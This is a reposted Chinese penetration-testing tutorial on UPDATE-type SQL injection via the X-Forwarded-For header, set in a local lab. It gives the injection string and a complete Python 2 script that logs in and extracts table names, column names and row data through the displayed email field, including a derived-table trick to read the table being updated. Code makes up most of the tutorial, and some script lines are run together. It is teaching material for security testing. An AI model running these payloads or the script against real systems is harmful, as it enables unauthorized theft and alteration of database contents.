百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

安仔课堂:渗透测试必备之update型注入技巧 小脚本大技巧

toyiye 2024-06-24 19:29 10 浏览 0 评论

前言

当我们进行web渗透测试的时候,往往会遇到update注入点,这种注入点往往会被利用来篡改数据(比如全表密码字段update),且不太方便用sqlmap跑出数据。

但有时候也会碰到update型注入点所更新的表中有字段会在某些页面中显示(比如用户邮箱,或者用户昵称之类的),这导致数据很容易被读取。而在渗透测试中,该操作相对前者破坏力没那么大,可用于进一步的渗透测试安全检测中。下面将为大家讲解一个以此为背景搭建的模拟环境的数据读取的脚本的编写。

安仔课堂与您准时相约

Part.1 利用

搭建了一个存在头注入( update 型)的环境,登陆成功将记录登陆者的IP地址入库,为了方便演示登陆成功后还将获取users表中的email值。

图1

对应的表的内容如下:

图2

关键代码如下所示:

图3

结合表以及代码我们可以简单判断出注入语句如下:

1.1.1.1',email=(selectuser()) where username='admin'#

我们利用火狐的 Modify Headers 进行注入测试

图4

可以看出我们的语句成功注入,并且email值获取的即为我们想要的内容。

图5

接下来就是惯例的获取表名以及列名了,然后就可以跑想要的数据啦。但是注意到我们是update的sql语句,所以查询语句是不允许查询当前update表的,否则会无效,如下图:

图6

正确的做法是利用临时表来获取该表的数据,如下图:

图7

所有数据都知道怎么获取那么就可以编写我们的脚本了。

Part 2.脚本编写

#!/usr/bin/python

# ‐*‐ coding: utf‐8 ‐*‐

import HTMLParser

import urlparse

import urllib

import urllib2

import cookielib

import string

import binascii

import re

import time

#截取字符串中startStr,endStr中间的值 def GetMiddleStr(content,startStr,endStr):

patternStr = r'%s(.+?)%s'%(startStr,endStr) p = re.compile(patternStr,re.S)

m= re.search(p,content) if m:

return m.group(1)

#跑表数量(mode0为跑表字段数目,否则为表的数据量(仍然要注意update型以及select同一个表的冲突问题)) def count(table_name,mode):

if mode==0: tn16=binascii.b2a_hex(table_name.encode("utf8"))

sql_count='1.1.1.1\',email=(select count(COLUMN_NAME) from information_schema.columns where table_name=0x'+tn16+' and table_schema=database()) where username=\'admin\'#'

else:

if table_name=='testuser':

sql_count='1.1.1.1\',email=(select count(*) from ( select * from testuser) as x) where username=\'admin\'#'

else:

sql_count='1.1.1.1\',email=(select count(*) from '+table_name+') where username=\'admin\'#'

return sql_count

#跑表的列名用到的sql注入语句 def sql_column(table_name,num):

tn16=binascii.b2a_hex(table_name.encode("utf8"))

sql_column='1.1.1.1\',email=(select COLUMN_NAME from information_schema.columns where table_name=0x'+tn16+' limit '+str(num)+',1 ) where username=\'admin\'#'

return sql_column

#跑表的内容

def sql_data(table_name,column,num):

sql_data='1.1.1.1\',email=(select '+column+' from '+table_name+' order by id limit '+str(num)+',1) where username=\'admin\'#'

return sql_data

#跑表的内容(与update所用表(即演示中的testuser表)冲突使用) def sql_users(column,num):

sql_users='1.1.1.1\',email=(select '+column+' from ( select * from testuser) as x order by ID limit '+str(num)+',1) where username=\'admin\'#'

return sql_users

#注入,先模拟登陆后截取结果 def inject(posturl,sql):

try:

cookieJar=cookielib.CookieJar() opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

headers = {'User‐Agent' : 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04',

'X‐Forwarded‐For' : sql} postData = {'uname' : 'admin',

'passwd' : 'admin',

'submit' : 'Submit' } postData = urllib.urlencode(postData)

request = urllib2.Request(posturl, postData, headers) result = opener.open(request)

str=result.read()

m=GetMiddleStr(str,'your email is:','</font><br>') return m

except Exception,err: err = 'weberror' raise Exception(err)if __name__ == '__main__':

posturl = 'http://127.0.0.1/1qaz/index.php' table_name=['testuser','test1']

#先跑表的各字段名,并存放到临时的column_name中 for table in table_name:

column_name=[] sql_count=inject(posturl,count(table,0)) print table+":\r\n"

for num in range(int(sql_count)): sql=sql_column(table,num) try:

m=inject(posturl,sql) column_name.append(m)

except TypeError: print 'error'

print column_name

#跑对应的数据 for num in range(int(inject(posturl,count(table,1)))):data=[]

for column in column_name: if table=='testuser':

sql=sql_users(column,num) else:

sql=sql_data(table,column,num) m=inject(posturl,sql) data.append(m)

print data print "\n"

最后运行的效果:

图8

总结

我们注意到update型注入的话,其可能出现在更改密码,登陆过程记录IP等操作中,相对于直接利用注释符update全部数据带来的影响,在渗透测试中利用该注入点来获取数据从而进一步做安全检测则更为稳健一些,当然这需要一些前提,比如需要对其利用的表结构有一定了解。

本篇教程主要针对的就是我们在某个页面看到update注入点所涉及表的一个数据,然后对其进行update操作来获取我们想要的内容从而进一步做安全检测,其中注意到的一个小细节就是update与select同一张表的冲突问题需要利用创建临时表来解决。

安仔课堂与您下期见!

  • 更多安全资讯,只在公众号“ansheng47”和“ANSCEN-ISEC

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码